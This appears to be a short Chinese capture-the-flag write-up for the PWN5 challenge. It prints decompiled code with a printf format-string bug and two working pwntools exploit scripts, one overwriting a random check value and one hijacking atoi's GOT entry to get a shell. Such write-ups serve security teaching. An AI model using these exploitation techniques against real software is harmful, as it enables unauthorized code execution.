简简单单的一道题 却要我花一生的时间来治愈 居然一开始不会做 不过也算加深了理解吧
[第五空间2019 决赛]PWN5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| int __cdecl main(int a1)
{
unsigned int v1;
int fd;
int result;
int v4;
unsigned int v5;
char nptr;
char buf;
unsigned int v8;
int *v9;
v9 = &a1;
v8 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &unk_804C044, 4u);
printf("your name:");
read(0, &buf, 0x63u);
printf("Hello,");
printf(&buf);
printf("your passwd:");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == unk_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
v5 = __readgsdword(0x14u);
v4 = v5 ^ v8;
if ( v5 != v8 )
sub_80493D0(v4);
return result;
}
|
可以利用printf 控制0x804C044处数值 让输入的passwd可控 就是注意str(0x10101010) 不能用引号
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| from pwn import *
sh = process('./pwn')
payload = p32(0x804C044)
payload += p32(0x804C045)
payload += p32(0x804C046)
payload += p32(0x804C047)
payload += '%10$hhn%11$hhn%12$hhn%13$hhn'
sh.recvuntil('your name:')
sh.sendline(payload)
sh.recvuntil('your passwd:')
sh.sendline(str(0x10101010))
sh.interactive()
|
或者修改atoi的地址为system地址
1
2
3
4
5
6
7
8
9
10
11
| from pwn import *
sh = process('./pwn')
elf = ELF('./pwn')
atoi = elf.got['atoi']
system = elf.plt['system']
payload = fmtstr_payload(10,{atoi:system})
sh.recvuntil('your name:')
sh.sendline(payload)
sh.recvuntil('your passwd:')
sh.sendline('/bin/sh')
sh.interactive()
|
保险的话可以在sh后面加个\x00
